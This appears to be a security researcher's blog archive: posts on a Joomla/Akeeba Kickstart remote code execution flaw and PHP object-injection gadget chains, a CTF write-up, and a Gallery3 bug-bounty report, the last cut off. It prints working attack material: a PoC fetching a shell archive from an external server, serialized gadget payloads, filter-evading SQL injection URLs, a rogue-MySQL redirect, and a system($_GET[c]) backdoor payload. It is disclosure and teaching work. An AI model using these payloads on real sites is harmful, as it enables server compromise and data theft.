Protected: upcoming

December 8, 2014

This content is password protected. To view it please enter your password below:


Joomla! 3.3.4 / Akeeba Kickstart – Remote Code Execution (CVE-2014-7228)

October 5, 2014

In our latest paper we evaluated the new RIPS prototype regarding its ability to statically detect PHP object injection (POI) vulnerabilities and related gadget chains in PHP applications. Among others, the prototype reported a previously unknown POI vulnerability in Joomla 3.0.2. It turned out, that this vulnerability was still present in the (at that time) latest Joomla! 3.3.4 version. However, it appeared to be not exploitable because of some requirements and missing chains. Lately, I had a look at it again and found a way to exploit it in 5 steps. The last step still makes exploitation difficult and the severity can be rated as high.

1. Encryption Bypass

The vulnerability affects the Akeeba Kickstart package used in Joomla’s com_joomlaupdate component located in administrator/components/com_joomlaupdate/restore.php. This file is remotely accessible to any unprivileged (not logged-in) user and no authentication check is performed by Joomla!. It is used to install new Joomla! updates from a local ZIP file.
In the masterSetup() function, Akeeba Kickstart checks for an existing restoration.php file and includes it to initialize basic setup parameters. If the restoration.php file does not exist, the execution is aborted. We will come back to this condition later.

$setupFile = 'restoration.php';

if( !file_exists($setupFile) )
{
	// Uh oh... Somebody tried to pooh on our back yard. Lock the gates! Don't let the traitor inside!
	AKFactory::set('kickstart.enabled', false);
	return false;
}

// Load restoration.php. It creates a global variable named $restoration_setup
require_once $setupFile;

Once the file is successfully included, a Joomla! update is performed based on the included setup parameters and externally provided parameters. To avoid tampering, the external parameters are encrypted with AES-128 in CTR mode. However, it is possible to completely bypass the encryption abusing PHP oddities. In Akeeba Kickstart, all parameters are fetched with the getQueryParam() function.

function getQueryParam( $key, $default = null )
{
	if(array_key_exists($key, $_REQUEST)) {
		$value = $_REQUEST[$key];
	} elseif(array_key_exists($key, $_POST)) {
		$value = $_POST[$key];
	} elseif(array_key_exists($key, $_GET)) {
		$value = $_GET[$key];
	} else {
		return $default;
	}
	return $value;
}

It returns parameters from the superglobal $_REQUEST, $_POST, or $_GET array, if existent. First, the external setup parameter json is fetched through getQueryParam(). Then, all entries in the $_REQUEST array are removed to delete all other parameters supplied by the user.

$json = getQueryParam('json', null);

if(!empty($_REQUEST))
{
	foreach($_REQUEST as $key => $value)
	{
		unset($_REQUEST[$key]);
	}
}

However, $_REQUEST holds only a copy (not a reference) of $_GET and $_POST entries. That means that all provided GET and POST parameters are still available in the corresponding array, even when unset in $_REQUEST. The next lines decrypt the json parameter and populate its json encoded data into the $_REQUEST array again.

// Decrypt a possibly encrypted JSON string
if(!empty($json))
{
	$password = AKFactory::get('kickstart.security.password', null);
	if(!empty($password))
	{
		$json = AKEncryptionAES::AESDecryptCtr($json, $password, 128);
	}

	// Get the raw data
	$raw = json_decode( $json, true );
	// Pass all JSON data to the request array
	if(!empty($raw))
	{
		foreach($raw as $key => $value)
		{
			$_REQUEST[$key] = $value;
		}
	}
}

At this point, an attacker can leave the json parameter empty. The function getQueryParam() still returns parameters from $_GET and $_POST because only the $_REQUEST array was emptied. This way, no encryption key is required to provide further setup parameters that are fetched through getQueryParam().

2. PHP Object Injection

The POI vulnerability is straight-forward and appears in the next lines. The factory parameter is fetched through getQueryParam() and fed into the unserialize() method of AKFactory.

// A "factory" variable will override all other settings.
$serialized = getQueryParam('factory', null);  
if( !is_null($serialized) )  
{  
	// Get the serialized factory  
	AKFactory::unserialize($serialized); 
}

This method basically base64 decodes the parameter and instantiates the AKFactory class by unserializing the serialized object and storing it as instance.

Gadget Chains

Lets have a quick look at available gadgets. Akeeba Kickstart’s restore.php file works independently from the Joomla! code base. That means that no classes of Joomla! are loaded and no initial gadgets of Joomla! can be abused. However, it ships some own classes with defined magic methods.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

class AKPostprocFTP 
{
	function __wakeup()
	{
		$this->connect();
	}

	public function connect()
	{
		// Connect to server, using SSL if so required
		if($this->useSSL) {
			$this->handle = @ftp_ssl_connect($this->host, $this->port);
		} else {
			$this->handle = @ftp_connect($this->host, $this->port);
		}
		...
	}
}

These gadget chains do not impose a big security risk though and can at most be abused for SSRF or DoS. Considering the precondition of manually creating the restoration.php file, I felt this is not really exploitable, regardless of the encryption bypass.

3. Remote Code Execution

An important lesson I learned from this vulnerability is to not only have a look at the triggered gadget chains of a POI, but also to not forget to look at how the injected object affects the control flow after the injection. Until now, we have full control over the AKFactory instance with the PHP object injection that was triggered in the masterSetup() function.

masterSetup();

$retArray = array(
	'status'	=> true,
	'message'	=> null
);

$enabled = AKFactory::get('kickstart.enabled', false);

if($enabled)
{
	$task = getQueryParam('task');

	switch($task)
	{
		case 'ping':
			// ping task - realy does nothing!
			$timer = AKFactory::getTimer();
			$timer->enforce_min_exec_time();
			break;
		case 'startRestore':
			AKFactory::nuke(); // Reset the factory
		case 'stepRestore':
			$engine = AKFactory::getUnarchiver(); // Get the engine
			$observer = new RestorationObserver(); // Create a new observer
			$engine->attach($observer); // Attach the observer
			$engine->tick();
			...
			$retArray['files'] = $observer->filesProcessed;
			$retArray['bytesIn'] = $observer->compressedTotal;
			$retArray['bytesOut'] = $observer->uncompressedTotal;
			$retArray['status'] = true;
			$retArray['done'] = false;
			$retArray['factory'] = AKFactory::serialize();
			...
			break;
	}
}

After the update is prepared by the masterSetup(), we can start an update by setting the task parameter to startRestore or trigger the next step of the update by setting it to stepRestore. This API is used by AJAX requests to constantly check for the update status by reading the content of the later printed $retArray.

Since the AKFactory is under our control, we can manipulate its settings and data. It holds an AKUnarchiver object that is responsibe to extract files from a given archive file (ZIP, JPS, or JPA format). The AKUnarchiver is fetched in line 5597 and its next step is invoked in line 5600. The different formats are parsed in different classes and I will not cover the details here. The important thing is, that all these unpacking classes extend the class AKAbstractUnarchiver and inherit the magic method __wakeup() already introduced in step 2.

class AKAbstractUnarchiver 
{
	public function __wakeup()
	{
		if($this->currentPartNumber >= 0)
		{
			$this->fp = @fopen($this->archiveList[$this->currentPartNumber], 'rb');
			...
		}
	}
}

If the PHP setting allow_url_fopen is enabled (which is the default) we can point to an external archive file that is then extracted to the destination directory of our choice. This way, an attacker can get remote code execution on the targeted web server, by extracting a PHP shell into the targeted Joomla installation from a ZIP archive on his web server. The injected AKFactory could look similar to the following PoC:

// very short, non-working PoC

class AKFactory {
	public function __construct() {
		$this->objectlist['AKUnarchiverZip'] = new AKUnarchiverZip;
		$this->varlist['kickstart.enabled'] = true;
		$this->varlist['kickstart.security.password'] = '';
	}
}

class AKUnarchiverZIP {
	public function __construct() {
		$this->archiveList[0] = 'http://myserver/exploit.zip';
		$this->addPath = '/var/www/joomla/';
	}
}

A remaining step is to find out the local document root path on the targeted web server where the PHP shell should be extracted to. While /var/www/ might be very common, different web server use different paths on different operating systems.

4. Path Disclosure

Due to the PHP object injection we can trigger fatal errors in the application to receive the document root path from an error message. However, this would require error reporting and displaying by PHP, which is often disabled in production environments.

The previously mentioned $retArray does not only contain the current status about the processed files added so far, but also the complete serialized AKFactory object (line 5607). It is printed json encoded to the HTML response page.

$json = json_encode($retArray);
// Do I have to encrypt?
$password = AKFactory::get('kickstart.security.password', null);
if(!empty($password))
{
	$json = AKEncryptionAES::AESEncryptCtr($json, $password, 128);
}

// Return the message
echo "###$json###";

The encryption can be bypassed again, if we use the PHP object injection to overwrite the kickstart.security.password setting in AKFactory with an empty password. One way to include the document root into the AKFactory is to set the kickstart.setup.destdir setting in our injected AKFactory object to an empty string. Then, the built-in function getcwd() will fill the destination directory with the current working directory of the script.

$destdir = self::get('kickstart.setup.destdir', null);
if(empty($destdir))
{
	$destdir = function_exists('getcwd') ? getcwd() : dirname(__FILE__);
}

This way, the full path of the script is added to the serialized AKFactory object in the HTML response and the document root can be obtained by the attacker. Also, if the restoration.php file is created naturally, it includes the destination directory of the update as setup parameter. It usually points to an installation directory within the document root.

5. Ping or CSRF (CVE 2014-7229)

One important last step remains for exploitation. The Akeeba Kickstart script will abort in the beginning if no restoration.php file exists. This file is created during an update, but is deleted again at the end of an update. This makes it difficult to exploit the issue, but not impossible.

An update lasts about 3 seconds. That means an attacker can constantly ping the targeted installation for an existing administrator/components/com_joomlaupdate/restoration.php file during an update period. If the administrator performs the update, the restoration.php file will exist long enough to carry out the attack. Note, that this attack would generate quite some log entries.

For Joomla!, there is an alternative. The following URL will create a valid restoration.php file persistently if opened by an administrator:

/administrator/index.php?option=com_joomlaupdate&task=update.install

Joomla! will attempt to start an update but cannot finish it because of missing parameters. Because no CSRF token is in place, the link can be used against logged-in administrators in a CSRF attack (e.g., Joomla article comment). Once the CSRF attack succeeded, the attacker can exploit at any time.

Summary

Joomla! 3.3.4 and various Akeeba Backup products are affected by a vulnerability that leads to remote code execution on the targeted web server. However, the attack requires social engineering against an administrator or repeatedly sent requests to the web server until an update is performed.

Joomla! and Akeeba Backup have released patches. It it is advised to update your software immediately and if possible, this time maybe not through Akeeba Kickstart ;). You may also want to check your web server’s access.log. I would like to thank Michael Babker (JSST) and Nicholas Dionysopoulos (Akeeba) for a very fast respond and patch time!

Timeline

[24.09.2014] – Asking for direct contact at JSST and Akeeba Backup
[24.09.2014] – Advisory + PoC disclosure to both vendors
[24.09.2014] – Patch provided by Akeeba Backup for review
[29.09.2014] – CVE-2014-7228 and CVE-2014-7229 assigned
[30.09.2014] – Security updates for affected Akeeba products released
[30.09.2014] – Joomla! 3.3.5 released
[01.10.2014] – Joomla! 3.3.6 released


Joomla! 3.0.2 POI (CVE-2013-1453) – Gadget Chains

October 3, 2014

I am still developing a new prototype for the precise static code analysis of PHP applications as part of my PhD research. Recently, I added the detection of second-order vulnerabilities and the analysis of exploitable gadget chains for PHP Object Injection (POI) / unserialize vulnerabilities.

In the evaluation of the latest paper, we tried to detect known POI vulnerabilities from CVE entries as well as new POI vulnerabilities with the new RIPS prototype. On request, I am publishing the detected gadget chains for CVE-2013-1453. Please note, that these chains do not impose new security risks to the latest Joomla! version and are only overlooked ways of exploitation for an old vulnerability.

The details of the POI vulnerability in Joomla! 3.0.2 are explained by Egidio Romano. With the support of object-oriented code the new RIPS prototype could detect this vulnerability successfully. Once a POI is found, its severity is defined by the available gadget chains an attacker can use for exploitation. RIPS is capable of analyzing possible chains automatically. The details for two gadget chains were manually found and published previously. Next to these two chains, RIPS detected another 3 chains. Two of them I found quite interesting.

Autoloaded Local File Inclusion

The most useful initial gadget in Joomla! 3.0.2 is the __destruct() method of the class plgSystemDebug. It calls the method isAuthorisedDisplayDebug() which then calls the method get() on the object in the property params. Because this property is under the attackers control he can deligate the control flow to any get() method defined in Joomla’s classes by instantiating an object of the class of choice in the property params.

// plugins/system/debug/debug.php

class plgSystemDebug
{
	public function __destruct()
	{ 
		if (!$this->isAuthorisedDisplayDebug())
		{
			return;
		}
	}

	private function isAuthorisedDisplayDebug()
	{
		$filterGroups = (array) $this->params->get('filter_groups', null);
		...
	}

The get() method in JInput can be used to trigger a file deletion and the method in JCategories triggers a blind SQL injection. Lets have a look at the get() method of the class JViewLegacy:

// libraries/legacy/view/legacy.php

class JViewLegacy
{
	public function get($property, $default = null)
	{
		if (is_null($default))
		{
			$model = $this->_defaultModel;
		}
		else
		{
			$model = strtolower($default);
		}

		if (isset($this->_models[$model]))
		{
			$method = 'get' . ucfirst($property);

			if (method_exists($this->_models[$model], $method))
			{
				...
			}

		}
	}
}

While easily overlooked in manual audits, built-in functions such as method_exists() and class_exists() are configured in RIPS as conditional sensitive sinks. If their first argument is controlled by an attacker and a vulnerable autoloader was detected, a security vulnerability report is issued. The reason for this is that these built-in functions automatically invoke any defined autoloader, as noted in the PHP manual for method_exists():

"Note: Using this function will use any registered autoloaders if the class is not already known."

A autoloader is considered to be vulnerable, if the class name in the first parameter is not sanitized before it is used in a sensitive sink (commonly a file inclusion). Then, a tainted argument of method_exists() can reach this sensitive sink when the autoloader is invoked with it. This works for PHP 5.1.0 – 5.4.23 and PHP 5.5.0 – 5.5.7 and was patched in PHP 5.4.24 and 5.5.8, where only alphanumeric class names invoke the autoloader.

Joomla! 3.0.2 defines two autoloaders:

spl_autoload_register(array('JLoader', 'load'));  
spl_autoload_register(array('JLoader', '_autoload')); 

The autoloader JLoader::load() basically looks up the class name in a static list of classes. The autoloader JLoader::_autoload() is able to dynamically include classes. If the class name starts with the prefix letter J, the class file is looked up within the method _load() in the base directories libraries/joomla/, libraries/legacy/, and libraries/cms/. Subdirectories are determined by splitting a camel cased class name at its uppercase letters.

// libraries/loader.php

abstract class JLoader
{
	private static function _load($class, $lookup)
	{
		// Split the class name into parts separated by camelCase.
		$parts = preg_split('/(?<=[a-z0-9])(?=[A-Z])/x', $class);

		foreach ($lookup as $base)
		{
			$path = $base . '/' . implode('/', array_map('strtolower', $parts)) . '.php';

			if (file_exists($path))
			{
				 include $path;
			}
		}
	}
}

For example, the unknown class JFooBar will result in the following three autoload lookups:

libraries/joomla/foo/bar.php
libraries/legacy/foo/bar.php
libraries/cms/foo/bar.php

Thus, a lookup of the class J../../../../../../etc/passwd%00 in method_exists() can be triggered through this gadget chain. For this purpose the payload has to reside as default model in the models array of the JViewLegacy object.

// PoC

class JViewLegacy {
	protected $_defaultModel;
	protected $_models = array();
	public function __construct() {
		$this->_defaultModel = 'rips';
		$this->_models['rips'] = "J../../../../../../etc/passwd\x00";
	}
}

This will successfully launch a path traversal attack with null byte injection in Joomlas autoloader and include the local /etc/passwd file (PHP 5.1.0 – 5.3.3). Note, that directly unserializing an object of this class name would not work, because unserialize allows only alphanumeric class names in a serialized string (it does work in PHP 5.0.0 – 5.0.3 though).

File Permission Modification

A less severe and at first sight straight-forward chain was reported in the class JStream. Its __destruct() method calls the method close(), which calls the method chmod(). It allows to change the file permissions of an arbitrary file defined in the filename property to the rights defined in the filemode property (line 43). One could also trigger a connection string injection through JFilesystemHelper::ftpChmod() for SSRF exploitation in line 39 but we ignored this in our evaluation (update: this can also be used for DoS).

// libraries/joomla/filesystem/stream.php

class JStream
{
	public function __destruct()
	{
		if ($this->fh)
		{
			@$this->close();
		}
	}

	public function close()
	{
		if ($this->openmode[0] == 'w')
		{
			$this->chmod();
		}
	}

	public function chmod($filename = '', $mode = 0)
	{
		if (!$filename)
		{
			$filename = $this->filename;
		}

		if (!$mode)
		{
			$mode = $this->filemode;
		}

		$sch = parse_url($filename, PHP_URL_SCHEME);

		switch ($sch)
		{
			case 'ftp':
			case 'ftps':
				$res = JFilesystemHelper::ftpChmod($filename, $mode);
				break;

			default:
				$res = chmod($filename, $mode);
				break;
		}
	}
}

Interesting about this chain is the exploitation. Although it seems straight-forward, the class JStream is not loaded by default. RIPS reported this chain nonetheless because it detected an autoloader. What RIPS does not know (and cannot reason about) is that the autoloader does not work for the class name JStream because it resides in /libraries/joomla/filesystem/stream.php. Thus, the correct class name of JStream for the autoloader should be JFilesystemStream. However, because the autoloader does not find libraries/joomla/stream.php, the class is not included and the unserialize() fails. For successfull exploitation, one has to somehow fix the autoloader.

My first idea was to abuse the previously introduced POP chain to trigger a method_exists() call on the string “JFilesystemStream”. This would invoke the autoloader to correctly include JStream and the application would be able to unserialize another injected JStream object. However, there is a much simpler solution:

// PoC

class JFilesystemStream {
}

class JStream {
	protected $fh;
	protected $openmode;
	protected $filename;
	protected $filemode;
	public function __construct() {
		$this->fh = true;
		$this->openmode[0] = 'w';
		$this->filename = '/tmp/rips';
		$this->filemode = 0777;
	}
}

echo base64_encode(serialize(array(array(new JFilesystemStream, new JStream))));

We simply create a fake object of the non-existing class JFilesystemStream in an array before our actual JStream object. During deserialization the class name JFilesystemStream will invoke the autoloader for us first and resolve the correct file for the JStream class. Then, our weaponized JStream object will be loaded successfully. The class JFilesystemStream does not exist and the first unserialized object will be of type __PHP_Incomplete_Class. This would trigger a catchable fatal error in the application flow after the POI which can be avoided by using a multi-dimensional array. At the end, the __destruct() method of the JStream class is successfully triggered and the chain is executed to change the file permissions.

Directory Creation

The third chain in our report leverages a call to a different get() method when injecting a plgSystemDebug object. It allows to create arbitrary directories in the file system. Note, because of the low severity, we grouped this chain and the previous chain to the generic name Filesystem Manipulation. The name of the exploited class JCacheStorageFile fits to its file path such that no autoloader tricking is neccessary.

// libraries/joomla/cache/storage/file.php

class JCacheStorageFile {

	public function get($id, $group, $checkTime = true)
	{
		$path = $this->_getFilePath($id, $group);
		...
	}

	protected function _getFilePath($id, $group)
	{
		$name = $this->_getCacheId($id, $group);
		$dir = $this->_root . '/' . $group;

		if (!is_dir($dir))
		{
			$indexFile = $dir . '/index.html';
			@ mkdir($dir) && file_put_contents($indexFile, '');
		}
	}
}

One could argue about the severity of this chain, but as I will show in the next post and as demonstrated earlier, it can be very handy to know about file system modifications. For example, the application might check if the installation directory is present and only then expose features that would not be exploitable otherwise. Thus, this chain was counted as true positive report in our paper.

The evaluation showed once again that precise static code analysis can be really helpful to point you to a vulnerability. However, the exploitation of the affected code path is often not as straight-forward as it seems.


Secuinside CTF 2013 writeup – The Bank Robber

May 26, 2013

This weekend I had a look at the secuinside CTF web challenges. As last year I really enjoyed them, thank you to the author. The Bank Robber was a website of a bank robber crew. It had two security vulnerabilities one had to identify and exploit step by step. First, a SQL Injection was exploited to read the applications source code. Then the source code was analyzed for a File Disclosure vulnerability to read the flag file.


1. SQL Injection

A SQL Injection was located in the list of hacked bank websites that had a search feature. Next to a keyword, the search feature allowed to specify a type (NUM, ATTACKER, or URL) and there was obviously some URL rewriting going on. Searching for the keyword “asd” and the different types resulted in the following URLs:

http://1.234.27.139:61080/M.list.idx.asd

http://1.234.27.139:61080/M.list.url.asd

http://1.234.27.139:61080/M.list.attacker.asd

It turned out, that the type was the $column name in a SQL WHERE clause. Magic quotes was enabled so exploiting the keyword was not possible.

select * from hacked_list where $column like '%$word%' order by time desc

However, we could inject own SQL syntax into the query via column name. We used a hash tag to cut off everything behind our injection.

http://1.234.27.139:61080/M.list.idx=(1)and(1)%2523.1

http://1.234.27.139:61080/M.list.idx=(1)and(0)%2523.1

Note that we had to use double urlencoding because of some redirecting. Extracting data via UNION SELECT or a subselect did not work because there was some filtering going on.

1.1 Filter Evasion

After I while I tried to read files with load_file(). To my surprise it seemed to work, but the length of the /etc/passwd file I was trying to read was 11 characters.

http://1.234.27.139:61080/M.list.idx=(1)and(length(load_file(0x2F6574632F706173737764))=11)%2523.1

Reading the content char by char revealed that I just accessed the string /etc/passwd I passed as argument to load_file(). It turned out, that the string load_file was replaced with an empty string. That helped a lot to evade the filter, because unload_fileion will then be replaced to union. I used multi-line comments /**/ to avoid spaces and placed the string load_file into every keyword I assumed filtering. Now I could form a UNION SELECT and read all databases, tables, and columns:

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,2,schema_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252eschemata%2523.1

information_schema,BHACK_DB,test

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,user%28%29,table_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252etables%2523.1

hacked_list,_BH_layout

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,user%28%29,column_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252ecoluload_filemns%252f**%252fwload_filehere%252f**%252ftaload_fileble_name=0x6861636B65645F6C697374%2523.1

hacked_list: idx,url,attacker,time

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,user%28%29,column_naload_fileme,4%252f**%252ffrload_fileom%252f**%252finforload_filemation_schema%252ecoluload_filemns%252f**%252fwload_filehere%252f**%252ftaload_fileble_name=0x6861636B65645F6C697374%2523.1

_BH_layout: idx,layout_name,position,path

The table hacked_list could already be read through the application and the table _BH_layout contained the following entries:

idx	path						layout_name	position
1	./book_store_skin/head.html	1			head
2	./book_store_skin/foot.html	1			foot
3	./reverted/h.htm			2			head
4	./reverted/f.htm			2			foot

There was only one database and no flag in any table, so I tried to read files again.

When I looked at the source code of the application later on, I noticed that a simple unIoN would have been enough to evade the case-sensitive filter:

function filtering($str){
 	$str = preg_replace("/select/","", $str);
 	$str = preg_replace("/union/","", $str);
 	$str = preg_replace("/from/","", $str);
 	$str = preg_replace("/load_file/","", $str);
 	$str = preg_replace("/ /","", $str);
 	return $str;
 }

1.2 Find/Read Source Code

First, I tried to load the /etc/passwd file, this time with loadload_file_file because the string load_file is deleted by the filter once, leaving another load_file:

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F6574632F706173737764%29,4%2523.1

It worked. The /etc/passwd contained the following line:

www-data:x:33:33:www-data:/var/www:/bin/sh

Because there was some URL rewriting, I assumed a .htaccess file in the DocumentRoot. However, I could not access /var/www/.htaccess or any other file in /var/www/. The DocumentRoot must be somewhere else. Next, I tried to read the webserver’s configuration files. After a look at the list of default layout for Apache I found Apache’s configuration file in the default location /etc/apache2/apache2.conf for ubuntu. However, no DocumentRoot was specified. Further, I read the file /etc/apache2/ports.conf and finally /etc/apache2/sites-available/default where I found the DocumentRoot:

DocumentRoot /site

Now I could read the /site/.htaccess file that revealed the URL rewriting and the PHP file:

ReWriteEngine On

ReWriteRule ^$ ./Main_Site/TBR.php
RewriteRule ^layouts\/(.+) ./Main_Site/layouts/$1
ReWriteRule ^[M]\.([a-zA-Z]+)\.(.+)\.(.+)$ ./Main_Site/TBR.php?_type=M&_act=$1&column=$2&word=$3
ReWriteRule ^[P]\.home\.([12]) ./Main_Site/TBR.php?_type=P&_act=home&_skin=$1

ReWriteRule ^[P]\.([a-zA-Z]+)$ ./Main_Site/TBR.php?_type=P&_act=$1
ReWriteRule ^[M]\.([a-zA-Z]+) ./Main_Site/TBR.php?_type=M&_act=$1

Finally, I could read the source of the application located at /site/Main_Site/TBR.php with the following request:

http://1.234.27.139:61080/M.list.idx=%280%29uniload_fileon%252f**%252fseleload_filect%252f**%252f1,2,loadload_file_file%280x2F736974652F4D61696E5F536974652F5442522E706870%29,4%2523.1


2. File Disclosure

On top of the file /site/Main_Site/TBR.php a hint is given where the flag file is located:

/*
:: HINT ::
root@ubuntu:/var/lib/php5# pwd
/var/lib/php5
root@ubuntu:/var/lib/php5# ls -l FLAG
-r--r----- 1 root www-data 32 May 25 17:26 FLAG
root@ubuntu:/var/lib/php5#
*/

It tells us that we cannot read the flag file /var/lib/php5/FLAG with the SQL Injection because MySQL runs with a different user and the file is only readable to the user root and www-data. So we need to exploit the PHP script running with www-data. Lets analyze the script TBR.php.

2.1 Code Analysis

First, the application initializes some important paths in $_BHVAR:

$_BHVAR = Array(
	'path_layout'	=>	'./layouts/',
	'path_lib'	=>	'./lib/',
	'path_module'	=>	'./modules/',
	'path_page'	=>	'./pages/',
	'path_tmp'	=>	'./tmp/'
);

Then, it simulates magic_quotes_gpc=on and register_globals=on:

if(!get_magic_quotes_gpc()){ /* escape all GPC superglobals */ }
if(!ini_get("register_globals")) extract($_GET);

At this point we can overwrite any previously declared variable, namely the $_BHVAR array and its elements because extract will register any GET parameter as variable in the global scope. For example, the key $_BHVAR[‘path_layout’] can be overwritten by using the following URL:

http://1.234.27.139:61080/Main_Site/TBR.php?_BHVAR%5Bpath_layout%5D=foobar

Now lets see what we can do with this. The script includes two more files:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";

We cannot trigger a RFI because allow_url_include=off and we cannot set the $_BHVAR[‘path_lib’] path to our FLAG file because a filename is appended. A nullbyte injection is prevented because magic_quotes_gpc=on. Lets move on.

The first included file database.php contains the MySQL connection credentials:

<?php
 if(!defined('__BHACK__')) exit();
 $_BHVAR['db'] = Array(
 	'host'	=>	'localhost',
 	'user'	=>	'bhack_db',
 	'pass'	=>	'bhack_p4zz',
 	'name'	=>	'BHACK_DB'
 );
?>

The included file functions.php contains the db_conn() and get_layout() functions that are used in the following:

function db_conn(){
 	global $_BHVAR;
	mysql_connect($_BHVAR['db']['host'], $_BHVAR['db']['user'], $_BHVAR['db']['pass']);
	mysql_select_db($_BHVAR['db']['name']);
 }

 function get_layout($layout, $pos){
	$result = mysql_query("select path from _BH_layout where layout_name='$layout' and position='$pos'");
	$row = mysql_fetch_array($result);
	if (!isset($row['path'])){
		if ($pos = 'head'){
			return "./reverted/h.htm";
		} else {
			return "./reverted/f.htm";
		}
	}
	return $row['path'];
 }

Next, the application establishes a MySQL connection with the function db_conn() and reads the header file name for the current layout from the database. Finally, it prints the content of the header file to the HTML response.

$_skin = $_SESSION['skin'];

db_conn();
$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

We want to achieve that the variable $head contains the string /var/lib/php5/FLAG to print the FLAG file instead the HTML header file. Again, we cannot use $_BHVAR[‘path_layout’] because we cannot truncate the appended layout filename with a nullbyte. However, we can empty the path $_BHVAR[‘path_layout’]. Next, we need to find a way that get_layout() returns our FLAG file name. A SQL Injection is prevented by magic_quotes_gpc=on.

2.2 Redirecting the MySQL server

The trick is to let the application connect to our own MySQL server that returns a different HTML header filename, namely the path to our flag file. Lets have a look at the source code again:

include_once $_BHVAR['path_lib']."database.php";
include_once $_BHVAR['path_module']."_system/functions.php";
$_skin = $_SESSION['skin'];

db_conn();
$head = $_BHVAR['path_layout'].get_layout($_skin, 'head');

echo file_get_contents($head);

First, we overwrite $_BHVAR[‘path_lib’] so that the include of the database credentials fails. Then, we can register our own database credentials through register_globals. We leave the $_BHVAR[‘path_module’] as it is, so the include of the functions will not fail. Then, the function db_conn() will connect to our remote MySQL server. Next, we overwrite $_BHVAR[‘path_layout’] with an empty string and make sure that our MySQL database returns the path to the flag file as layout file when retrieved with get_layout().

For this purpose, we setup the following MySQL database on our remote server 1.2.3.4 listing on the default port 3306:

create database BHACK_DB;
grant all privileges on BHACK_DB.* to bhack_db identified by 'bhack_p4zz';
use BHACK_DB;
create table _BH_layout (idx INT, layout_name VARCHAR(255), position VARCHAR(10), path VARCHAR(255));
insert into _BH_layout VALUES (1, '1', 'head', '/var/lib/php5/FLAG');

And finally we can trigger the redirect. We let the include of the original MySQL credentials fail, inject our own MySQL credentials and empty the prefix of the header file name:

http://1.234.27.139:61080//Main_Site/TBR.php?_BHVAR%5Bdb%5D%5Bhost%5D=1.2.3.4&_BHVAR%5Bdb%5D%5Buser%5D=bhack_db&_BHVAR%5Bdb%5D%5Bpass%5D=bhack_p4zz&_BHVAR%5Bdb%5D%5Bname%5D=BHACK_DB&_skin=1&_BHVAR%5Bpath_layout%5D=&_BHVAR%5Bpath_lib%5D=foobar&_BHVAR%5Bpath_module%5D=modules/

Then the location of the flag file is returned from our remote database and the flag is printed as HTML header:

@_Y0UR_EY3_LEE_SIN_@

Thanks again to the author of this cool challenge!


Gallery Project 3.0.4 BugBounty: Remote Code Execution (admin)

March 6, 2013

The Gallery Project is a photo album organizer written in PHP which is part of a BugBounty program. When launching the Gallery3 web application it is checked whether the configuration file /gallery3/var/database.php is present. If not, the installation routine is initiated which in the end creates this configuration file. Otherwise the application launches normally.

During the installation process it is possible to inject arbitrary PHP code into the database config file, leading to Remote Code Execution (RCE) on the target web server. For successful exploitation by an remote attacker it is required that the installation routine has not yet been completed on the web server.

However, another vulnerability in the administrator interface allows to delete arbitrary files. Thus, it is possible for an administrator to delete the database.php file with this second vulnerability, redo the installation, and inject a PHP backdoor with the first vulnerability. A XSS vulnerability (also reported in this release) can be used to gain admin privileges.

user —XSS—> admin –FILEDELETE–> installer —RCE—> shell

Vulnerability 1 – Code Execution

In /gallery3/installer/web.php line 35 and the following the $config values are filled with data supplied by the user:

$config = array("host" => $_POST["dbhost"],
                "user" => $_POST["dbuser"],
                "password" => $_POST["dbpass"],
                "dbname" => $_POST["dbname"],
                "prefix" => $_POST["prefix"],
                "type" => function_exists("mysqli_set_charset") ? "mysqli" : "mysql");

To avoid code injection, single quotes within the password are escaped in /gallery3/installer/web.php line 44:

    foreach ($config as $k => $v) {
      if ($k == "password") {
        $config[$k] = str_replace("'", "\\'", $v);
      } else {
        $config[$k] = strtr($v, "'`", "__");
      }
    }

The database credentials are then used to setup the Gallery3 database and if everything worked well, the credentials are copied into the configuration file template (/gallery3/installer/database_config.php) which uses single quotes around the credential strings.

$config['default'] = array(
  'benchmark'     => false,
  'persistent'    => false,
  'connection'    => array(
    'type'     => '<?php print $type ?>',
    'user'     => '<?php print $user ?>',
    'pass'     => '<?php print $password ?>',
    'host'     => '<?php print $host ?>',

A single quote in the password will be replaced to \’. However, if an attacker injects a backslash followed by a single quote \’ the resulting string is \\’. Now the backslash is escaped, leaving the single quote unescaped.

With this trick it is possible to break out of the single quotes and inject malicious PHP code into the /gallery3/var/database.php configuration file. This file is included by the Gallery3 core application which will execute the injected PHP code on every visited subpage.

To exploit the vulnerability an attacker can create a MySQL user on an external server with the following password:

\\',"f"=>system($_GET[c]),//

During the installation process he specifies his external MySQL server and enters the following password:

\',"f"=>system($_GET[c]),//

Due to the escaping a backslash is added to the password, transforming it to a valid database credential and the database configuration file will contain the following backdoored PHP code:

$config['default'] = array(
	'benchmark'	=> false,
	'persistent'	=> false,
	'connection'	=> array(
		'type'	=> 'mysqli',
		'user'	=> 'reiners',
		'pass'	=> '\\',"f"=>system($_GET[c]),//',
		'host'	=> 'attacker.com',

Then the attacker sets his MySQL password to \\ to not break the application and is now able to execute arbitrary PHP code on the target webserver.

RCE in Gallery3

RCE in Gallery3

This bug was rated as moderate/major by the Gallery3 team and was rewarded with $700.

Vulnerability 2 – Arbitrary File Delete

Because an uninstalled instance of Gallery3 is unlikely to be found, an attacker is interested in deleting the database.php configuration file to gain access to the vulnerable installer again. A vulnerability that allows to delete any file on the server was found in the Gallery3 administration interface.

